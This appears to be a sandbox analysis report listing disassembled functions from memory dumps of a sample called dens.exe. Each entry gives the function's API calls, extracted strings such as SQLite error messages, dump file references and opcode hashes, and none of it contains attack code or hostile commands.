Function 00007FFDFAA51FB0 Relevance: 6.2, APIs: 2, Strings: 2, Instructions: 173stringCOMMON

Download Yara Rule

APIs

strncmp.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FFDFAA51FE8
strncmp.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FFDFAA52006

Strings

HANGUL SYLLABLE , xrefs: 00007FFDFAA51FD5
CJK UNIFIED IDEOGRAPH-, xrefs: 00007FFDFAA51FFC

Memory Dump Source

Source File: 00000001.00000002.2068545702.00007FFDFAA51000.00000020.00000001.01000000.0000001B.sdmp, Offset: 00007FFDFAA50000, based on PE: true

Associated: 00000001.00000002.2068513391.00007FFDFAA50000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068579406.00007FFDFAA55000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068579406.00007FFDFAAB2000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068579406.00007FFDFAAFE000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068579406.00007FFDFAB02000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068579406.00007FFDFAB07000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068579406.00007FFDFAB5F000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068952212.00007FFDFAB62000.00000004.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068988243.00007FFDFAB64000.00000002.00000001.01000000.0000001B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdfaa50000_dens.jbxd

Similarity

API ID: strncmp
String ID: CJK UNIFIED IDEOGRAPH-$HANGUL SYLLABLE
API String ID: 1114863663-87138338
Opcode ID: 8c364d9f7697f15a55bc755bfe662b8d9c35c3fd34f27cade82d87210dead623
Instruction ID: c7428386c9afd2a8bb72d06cef0d08f109592383b07ac58476d1fd5ed6649aff
Opcode Fuzzy Hash: 8c364d9f7697f15a55bc755bfe662b8d9c35c3fd34f27cade82d87210dead623
Instruction Fuzzy Hash: 9F61FC32B196414AE7A88A15AC20A7A7692FB84790F548275E97D477CCEF3CD90FC704

Function 00007FFDFABAC607 Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 149COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140 ref: 00007FFDFABAC74D
memcpy.VCRUNTIME140 ref: 00007FFDFABAC766

Strings

out of memory, xrefs: 00007FFDFABB2498
string or blob too big, xrefs: 00007FFDFABB2123

Memory Dump Source

Source File: 00000001.00000002.2069057077.00007FFDFAB71000.00000020.00000001.01000000.00000017.sdmp, Offset: 00007FFDFAB70000, based on PE: true

Associated: 00000001.00000002.2069023444.00007FFDFAB70000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000001.00000002.2069180687.00007FFDFACA5000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000001.00000002.2069226530.00007FFDFACD4000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000001.00000002.2069264473.00007FFDFACD9000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdfab70000_dens.jbxd

Similarity

API ID: memcpy
String ID: out of memory$string or blob too big
API String ID: 3510742995-2410398255
Opcode ID: 2546402ceff79975b6071e291ca9160533ac407746b903c1a5e86b998dc6c08d
Instruction ID: c97cf652bab5594e6423cd0aa67ee7bef90103b6751ca3eb5489b5bf5fcfd33b
Opcode Fuzzy Hash: 2546402ceff79975b6071e291ca9160533ac407746b903c1a5e86b998dc6c08d
Instruction Fuzzy Hash: 0C61D166B0865282E718DB26E16067E6760FF45BD4F904072EF6D0BBD9CF3CE4418710

Function 00007FFDFAB8A310 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 139COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140 ref: 00007FFDFAB8A438

Strings

%s at line %d of [%.10s], xrefs: 00007FFDFAB8A50B
8653b758870e6ef0c98d46b3ace27849054af85da891eb121e9aaa537f1e8355, xrefs: 00007FFDFAB8A4F2
database corruption, xrefs: 00007FFDFAB8A4FF

Memory Dump Source

Source File: 00000001.00000002.2069057077.00007FFDFAB71000.00000020.00000001.01000000.00000017.sdmp, Offset: 00007FFDFAB70000, based on PE: true

Associated: 00000001.00000002.2069023444.00007FFDFAB70000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000001.00000002.2069180687.00007FFDFACA5000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000001.00000002.2069226530.00007FFDFACD4000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000001.00000002.2069264473.00007FFDFACD9000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdfab70000_dens.jbxd

Similarity

API ID: memset
String ID: %s at line %d of [%.10s]$8653b758870e6ef0c98d46b3ace27849054af85da891eb121e9aaa537f1e8355$database corruption
API String ID: 2221118986-3727861699
Opcode ID: 159c8cd1e32a2517d5495272a490daef04cfe9e72aabae1520912fecf18e95bc
Instruction ID: fc88b57ed95a571249ab20c41cb0a0cdb33bf74d0459189e42e9a1615e7d38a8
Opcode Fuzzy Hash: 159c8cd1e32a2517d5495272a490daef04cfe9e72aabae1520912fecf18e95bc
Instruction Fuzzy Hash: 8451AE2271AB4196EB588B29D164BA973A4FB48F84F59807ADF5C4B798DF38E452C300

Function 00007FFDFAB78407 Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 128COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140 ref: 00007FFDFAB784B8
memcpy.VCRUNTIME140 ref: 00007FFDFAB7853E

Strings

(join-%u), xrefs: 00007FFDFAB78549
(subquery-%u), xrefs: 00007FFDFAB78560

Memory Dump Source

Source File: 00000001.00000002.2069057077.00007FFDFAB71000.00000020.00000001.01000000.00000017.sdmp, Offset: 00007FFDFAB70000, based on PE: true

Associated: 00000001.00000002.2069023444.00007FFDFAB70000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000001.00000002.2069180687.00007FFDFACA5000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000001.00000002.2069226530.00007FFDFACD4000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000001.00000002.2069264473.00007FFDFACD9000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdfab70000_dens.jbxd

Similarity

API ID: memcpy
String ID: (join-%u)$(subquery-%u)
API String ID: 3510742995-2916047017
Opcode ID: 0d48976400f3644fb356e5695879e07cc8939a55f0091d8d278dd832f5afb60d
Instruction ID: c322204ae831d13334e4d8bd7ecc73828d4e9d3aa00ea14c673faf252414412f
Opcode Fuzzy Hash: 0d48976400f3644fb356e5695879e07cc8939a55f0091d8d278dd832f5afb60d
Instruction Fuzzy Hash: DD51D172B1825285EB688A65F074F382BA0FB14BA4F8546B1C93E473C8CFADF4818700

Function 00007FFDFAB98ED0 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 121COMMON

Download Yara Rule

APIs

memmove.VCRUNTIME140 ref: 00007FFDFAB98FF2

Strings

%s at line %d of [%.10s], xrefs: 00007FFDFAB99071
8653b758870e6ef0c98d46b3ace27849054af85da891eb121e9aaa537f1e8355, xrefs: 00007FFDFAB99058
database corruption, xrefs: 00007FFDFAB99065

Memory Dump Source

Source File: 00000001.00000002.2069057077.00007FFDFAB71000.00000020.00000001.01000000.00000017.sdmp, Offset: 00007FFDFAB70000, based on PE: true

Associated: 00000001.00000002.2069023444.00007FFDFAB70000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000001.00000002.2069180687.00007FFDFACA5000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000001.00000002.2069226530.00007FFDFACD4000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000001.00000002.2069264473.00007FFDFACD9000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdfab70000_dens.jbxd

Similarity

API ID: memmove
String ID: %s at line %d of [%.10s]$8653b758870e6ef0c98d46b3ace27849054af85da891eb121e9aaa537f1e8355$database corruption
API String ID: 2162964266-3727861699
Opcode ID: b41f21bbc434ec6d1de5086e02495e52cde0cfce1eb061fb3c9577bcc6dba8bb
Instruction ID: a54527cff0fbb88446ca67791b42761d5123100eb2bb256083a02274717f77b9
Opcode Fuzzy Hash: b41f21bbc434ec6d1de5086e02495e52cde0cfce1eb061fb3c9577bcc6dba8bb
Instruction Fuzzy Hash: 1C519A36708BC186E7648F55F4106AEB7A5FB88B88F944472DA9D43BA9CF3CE455C700

Function 00007FFDFAB9FE50 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 114COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140 ref: 00007FFDFAB9FF83

Strings

%!.15g, xrefs: 00007FFDFAB9FFCC
-, xrefs: 00007FFDFAB9FF67
, xrefs: 00007FFDFAB9FFA2

Memory Dump Source

Source File: 00000001.00000002.2069057077.00007FFDFAB71000.00000020.00000001.01000000.00000017.sdmp, Offset: 00007FFDFAB70000, based on PE: true

Associated: 00000001.00000002.2069023444.00007FFDFAB70000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000001.00000002.2069180687.00007FFDFACA5000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000001.00000002.2069226530.00007FFDFACD4000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000001.00000002.2069264473.00007FFDFACD9000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdfab70000_dens.jbxd

Similarity

API ID: memcpy
String ID: $%!.15g$-
API String ID: 3510742995-875264902
Opcode ID: ffdc6392e0312284d0d157c5cf372c93c08476705884f8b4537a0fac0e79bd20
Instruction ID: dcfe49e8527574a043cb28974e06de20347eb29d588a46be227043e4313edcd4
Opcode Fuzzy Hash: ffdc6392e0312284d0d157c5cf372c93c08476705884f8b4537a0fac0e79bd20
Instruction Fuzzy Hash: 87412962B1D78587E718CB3EE061BAA7BA0EB497C4F404175EA9D4779ACB3CD405C710

Function 00007FFDFAB98530 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 84COMMON

Download Yara Rule

Strings

%s at line %d of [%.10s], xrefs: 00007FFDFAB985A0
8653b758870e6ef0c98d46b3ace27849054af85da891eb121e9aaa537f1e8355, xrefs: 00007FFDFAB98587
database corruption, xrefs: 00007FFDFAB98594

Memory Dump Source

Source File: 00000001.00000002.2069057077.00007FFDFAB71000.00000020.00000001.01000000.00000017.sdmp, Offset: 00007FFDFAB70000, based on PE: true

Associated: 00000001.00000002.2069023444.00007FFDFAB70000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000001.00000002.2069180687.00007FFDFACA5000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000001.00000002.2069226530.00007FFDFACD4000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000001.00000002.2069264473.00007FFDFACD9000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdfab70000_dens.jbxd

Similarity

API ID:
String ID: %s at line %d of [%.10s]$8653b758870e6ef0c98d46b3ace27849054af85da891eb121e9aaa537f1e8355$database corruption
API String ID: 0-3727861699
Opcode ID: a07785a57d89a6b6b2cd6742ff57c5158af552e3cd36b9dced591b1559e342f0
Instruction ID: 8c5eb92b5fb8db15ab249128e526d9ba67136670ee662d2dc95a57e6a127f5f3
Opcode Fuzzy Hash: a07785a57d89a6b6b2cd6742ff57c5158af552e3cd36b9dced591b1559e342f0
Instruction Fuzzy Hash: 1E31EC376092C18AD308CF7AD06087D7BA1E744B48F048176DFA94B399EB3CE565C720

Function 00007FFDFAB8C1F0 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 79COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140 ref: 00007FFDFAB8C257

Strings

%s at line %d of [%.10s], xrefs: 00007FFDFAB8C30B
8653b758870e6ef0c98d46b3ace27849054af85da891eb121e9aaa537f1e8355, xrefs: 00007FFDFAB8C2F2
database corruption, xrefs: 00007FFDFAB8C2FF

Memory Dump Source

Source File: 00000001.00000002.2069057077.00007FFDFAB71000.00000020.00000001.01000000.00000017.sdmp, Offset: 00007FFDFAB70000, based on PE: true

Associated: 00000001.00000002.2069023444.00007FFDFAB70000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000001.00000002.2069180687.00007FFDFACA5000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000001.00000002.2069226530.00007FFDFACD4000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000001.00000002.2069264473.00007FFDFACD9000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdfab70000_dens.jbxd

Similarity

API ID: memset
String ID: %s at line %d of [%.10s]$8653b758870e6ef0c98d46b3ace27849054af85da891eb121e9aaa537f1e8355$database corruption
API String ID: 2221118986-3727861699
Opcode ID: 5e863916525a9204ac9d6aa5207d54266211b4af8f85feab029ec6656853ced4
Instruction ID: cd174483fd119a2b5267e2358b84e1e11ea7a926b8241ac542c1d60538172bb4
Opcode Fuzzy Hash: 5e863916525a9204ac9d6aa5207d54266211b4af8f85feab029ec6656853ced4
Instruction Fuzzy Hash: 6D31C77671864182D7549F69E460ABA73A1FB89B80F844135FE5E4BBD8DF3CD5028740

Function 00007FF62C0F20C0 Relevance: 6.1, APIs: 4, Instructions: 52COMMON

Download Yara Rule

APIs

EndDialog.USER32 ref: 00007FF62C0F20F4
SetWindowLongPtrW.USER32 ref: 00007FF62C0F2116
GetWindowLongPtrW.USER32 ref: 00007FF62C0F2140
InvalidateRect.USER32 ref: 00007FF62C0F2160

Memory Dump Source

Source File: 00000001.00000002.2067330873.00007FF62C0F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62C0F0000, based on PE: true

Associated: 00000001.00000002.2067297322.00007FF62C0F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067374645.00007FF62C11B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067431978.00007FF62C12E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067431978.00007FF62C131000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067546616.00007FF62C134000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff62c0f0000_dens.jbxd

Similarity

API ID: LongWindow$DialogInvalidateRect
String ID:
API String ID: 1956198572-0
Opcode ID: 3f66ec3ad31a24d6b03c6ecd933265a99c2c3f38e7b83c206d3886b5f9d1bb92
Instruction ID: 676343a545536e242cd7a8e561d9ca1aa7b8748dc7a10c2edd1c8ccda047082e
Opcode Fuzzy Hash: 3f66ec3ad31a24d6b03c6ecd933265a99c2c3f38e7b83c206d3886b5f9d1bb92
Instruction Fuzzy Hash: 5E11E931A0C14246FE54876EED492B95251FB9CBA0F448030DF4987B9ACE2ED8D18249

Function 00007FFDFACA31D0 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FFDFACA31FC
GetCurrentThreadId.KERNEL32 ref: 00007FFDFACA320A
GetCurrentProcessId.KERNEL32 ref: 00007FFDFACA3216
QueryPerformanceCounter.KERNEL32 ref: 00007FFDFACA3226

Memory Dump Source

Source File: 00000001.00000002.2069057077.00007FFDFAB71000.00000020.00000001.01000000.00000017.sdmp, Offset: 00007FFDFAB70000, based on PE: true

Associated: 00000001.00000002.2069023444.00007FFDFAB70000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000001.00000002.2069180687.00007FFDFACA5000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000001.00000002.2069226530.00007FFDFACD4000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000001.00000002.2069264473.00007FFDFACD9000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdfab70000_dens.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: cae572169cced5dd2f19bce54058c80e5087122ed076c55999fdcdab2a4b6806
Instruction ID: 26a560878779db407b1c4a4a82dd7d64915a8a4268acb82be9ab392d28736531
Opcode Fuzzy Hash: cae572169cced5dd2f19bce54058c80e5087122ed076c55999fdcdab2a4b6806
Instruction Fuzzy Hash: EE112A2AB15F058AEB00CF61E8646BC33A4FB19758F440E35DA7D467A8DF78E1948340

Function 00007FF62C0FD010 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FF62C0FD03C
GetCurrentThreadId.KERNEL32 ref: 00007FF62C0FD04A
GetCurrentProcessId.KERNEL32 ref: 00007FF62C0FD056
QueryPerformanceCounter.KERNEL32 ref: 00007FF62C0FD066

Memory Dump Source

Source File: 00000001.00000002.2067330873.00007FF62C0F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62C0F0000, based on PE: true

Associated: 00000001.00000002.2067297322.00007FF62C0F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067374645.00007FF62C11B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067431978.00007FF62C12E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067431978.00007FF62C131000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067546616.00007FF62C134000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff62c0f0000_dens.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 884c9866f0db1ea4ea3e8c559fd458021c8c8106c035f87ab540984eb8a2d97e
Instruction ID: 27bcf5ecab6bf9a5291cc3095efea6fbea17842a2d565b7d9bd1a9f0b23468ac
Opcode Fuzzy Hash: 884c9866f0db1ea4ea3e8c559fd458021c8c8106c035f87ab540984eb8a2d97e
Instruction Fuzzy Hash: E0112E26B14F058AEF00CF64EC592B933A4FB59768F440E31DA6D86BA4DF7CE1598341

Function 00007FFDFAA52BEC Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FFDFAA52C18
GetCurrentThreadId.KERNEL32 ref: 00007FFDFAA52C26
GetCurrentProcessId.KERNEL32 ref: 00007FFDFAA52C32
QueryPerformanceCounter.KERNEL32 ref: 00007FFDFAA52C42

Memory Dump Source

Source File: 00000001.00000002.2068545702.00007FFDFAA51000.00000020.00000001.01000000.0000001B.sdmp, Offset: 00007FFDFAA50000, based on PE: true

Associated: 00000001.00000002.2068513391.00007FFDFAA50000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068579406.00007FFDFAA55000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068579406.00007FFDFAAB2000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068579406.00007FFDFAAFE000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068579406.00007FFDFAB02000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068579406.00007FFDFAB07000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068579406.00007FFDFAB5F000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068952212.00007FFDFAB62000.00000004.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068988243.00007FFDFAB64000.00000002.00000001.01000000.0000001B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdfaa50000_dens.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 109ceed06940f0f17d4484f54d46a13cc3e2d9acbfc7514a401e54a12864ff88
Instruction ID: f664fdee7d1239c3abcf8ac18af72a5ae165a768b23256e454d126aaa1e715a3
Opcode Fuzzy Hash: 109ceed06940f0f17d4484f54d46a13cc3e2d9acbfc7514a401e54a12864ff88
Instruction Fuzzy Hash: 63112126B14F028DFB44CF60E8646B933A4F719758F441D71DA6D467A8DF78D1598340

Function 00007FFDFA84BC74 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FFDFA84BCA0
GetCurrentThreadId.KERNEL32 ref: 00007FFDFA84BCAE
GetCurrentProcessId.KERNEL32 ref: 00007FFDFA84BCBA
QueryPerformanceCounter.KERNEL32 ref: 00007FFDFA84BCCA

Memory Dump Source

Source File: 00000001.00000002.2067701884.00007FFDFA2C1000.00000020.00000001.01000000.00000026.sdmp, Offset: 00007FFDFA2C0000, based on PE: true

Associated: 00000001.00000002.2067625155.00007FFDFA2C0000.00000002.00000001.01000000.00000026.sdmpDownload File
Associated: 00000001.00000002.2068229135.00007FFDFA867000.00000002.00000001.01000000.00000026.sdmpDownload File
Associated: 00000001.00000002.2068354571.00007FFDFA9ED000.00000004.00000001.01000000.00000026.sdmpDownload File
Associated: 00000001.00000002.2068388781.00007FFDFA9FB000.00000008.00000001.01000000.00000026.sdmpDownload File
Associated: 00000001.00000002.2068427667.00007FFDFA9FC000.00000004.00000001.01000000.00000026.sdmpDownload File
Associated: 00000001.00000002.2068462134.00007FFDFAA00000.00000002.00000001.01000000.00000026.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdfa2c0000_dens.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 94c9acafe10be122d2f397f1e5ea694c59c3688944f7c31b8d4002f49b5f86db
Instruction ID: 2486c02cc8e9d65dfbdccfb5e27d33d33ca7b70e5a8791481564724c14c5364a
Opcode Fuzzy Hash: 94c9acafe10be122d2f397f1e5ea694c59c3688944f7c31b8d4002f49b5f86db
Instruction Fuzzy Hash: 5E113326B14F018AFB04CF60E8646B833B4F719758F440E31EA7D867A8DF78D5548380

Function 00007FF62C115B1C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 121COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF62C111760: _invalid_parameter_noinfo.LIBCMT ref: 00007FF62C111793

_get_daylight.LIBCMT ref: 00007FF62C115C34
_get_daylight.LIBCMT ref: 00007FF62C115C45

Strings

?, xrefs: 00007FF62C115BC5

Memory Dump Source

Source File: 00000001.00000002.2067330873.00007FF62C0F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62C0F0000, based on PE: true

Associated: 00000001.00000002.2067297322.00007FF62C0F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067374645.00007FF62C11B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067431978.00007FF62C12E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067431978.00007FF62C131000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067546616.00007FF62C134000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff62c0f0000_dens.jbxd

Similarity

API ID: _get_daylight$_invalid_parameter_noinfo
String ID: ?
API String ID: 1286766494-1684325040
Opcode ID: 34aa9ba053483d92f686c00bb3d23c2ed0895a5cb55bf09a4ef316522e0c30cf
Instruction ID: e16b7157366fe57095c0bb03f24a9810d1c99c74d3f40d8e6cdd428172d177c9
Opcode Fuzzy Hash: 34aa9ba053483d92f686c00bb3d23c2ed0895a5cb55bf09a4ef316522e0c30cf
Instruction Fuzzy Hash: AA412712A0868246FF609B29DC4B37A6761EBA0BB4F144235EE5C87BD5DFBCD4418702

Function 00007FF62C109014 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 111COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF62C109046

Part of subcall function 00007FF62C10A948: HeapFree.KERNEL32(?,?,?,00007FF62C112D22,?,?,?,00007FF62C112D5F,?,?,00000000,00007FF62C113225,?,?,?,00007FF62C113157), ref: 00007FF62C10A95E
Part of subcall function 00007FF62C10A948: GetLastError.KERNEL32(?,?,?,00007FF62C112D22,?,?,?,00007FF62C112D5F,?,?,00000000,00007FF62C113225,?,?,?,00007FF62C113157), ref: 00007FF62C10A968

GetModuleFileNameW.KERNEL32(?,?,?,?,?,00007FF62C0FCBA5), ref: 00007FF62C109064

Strings

C:\Users\user\Desktop\dens.exe, xrefs: 00007FF62C109052

Memory Dump Source

Source File: 00000001.00000002.2067330873.00007FF62C0F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62C0F0000, based on PE: true

Associated: 00000001.00000002.2067297322.00007FF62C0F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067374645.00007FF62C11B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067431978.00007FF62C12E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067431978.00007FF62C131000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067546616.00007FF62C134000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff62c0f0000_dens.jbxd

Similarity

API ID: ErrorFileFreeHeapLastModuleName_invalid_parameter_noinfo
String ID: C:\Users\user\Desktop\dens.exe
API String ID: 3580290477-1397442068
Opcode ID: 652ac8178d02f9bf502bb0dac840cc2c27021cfa98e1c84195502d2d1921a3a9
Instruction ID: be9582ce97e79338b5047bd0e071fd5532c7b29ea535b0458c94f7403486979f
Opcode Fuzzy Hash: 652ac8178d02f9bf502bb0dac840cc2c27021cfa98e1c84195502d2d1921a3a9
Instruction Fuzzy Hash: 22418D32A08A4285EF15AF25AC5A0BD63A4EF557F4F554035ED4E87B8ADE3CE4A1C301

Function 00007FF62C10CC38 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 00007FF62C10CD4F
GetLastError.KERNEL32 ref: 00007FF62C10CD71

Strings

U, xrefs: 00007FF62C10CCFB

Memory Dump Source

Source File: 00000001.00000002.2067330873.00007FF62C0F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62C0F0000, based on PE: true

Associated: 00000001.00000002.2067297322.00007FF62C0F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067374645.00007FF62C11B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067431978.00007FF62C12E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067431978.00007FF62C131000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067546616.00007FF62C134000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff62c0f0000_dens.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: 4f5d94246872f2193e537bc66f33c90add5f7e97f4787e66017fcfb3b1ebd6d4
Instruction ID: 8f17ead97d17a737c931a5056be74890f61cb4d4399002a299bd428731deaf78
Opcode Fuzzy Hash: 4f5d94246872f2193e537bc66f33c90add5f7e97f4787e66017fcfb3b1ebd6d4
Instruction Fuzzy Hash: FA41E532B18A8185DB20CF29E8593AA6760FB987A4F444131EE4DC7784EF3CD455CB42

Function 00007FF62C10F5B8 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 66COMMON

Download Yara Rule

APIs

GetCurrentDirectoryW.KERNEL32 ref: 00007FF62C10F5F8
GetCurrentDirectoryW.KERNEL32 ref: 00007FF62C10F64A

Strings

:, xrefs: 00007FF62C10F60E

Memory Dump Source

Source File: 00000001.00000002.2067330873.00007FF62C0F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62C0F0000, based on PE: true

Associated: 00000001.00000002.2067297322.00007FF62C0F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067374645.00007FF62C11B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067431978.00007FF62C12E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067431978.00007FF62C131000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067546616.00007FF62C134000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff62c0f0000_dens.jbxd

Similarity

API ID: CurrentDirectory
String ID: :
API String ID: 1611563598-336475711
Opcode ID: e8d367c4ea258391d160676196091cc4497c978f166048fd005a5cb1bdaac227
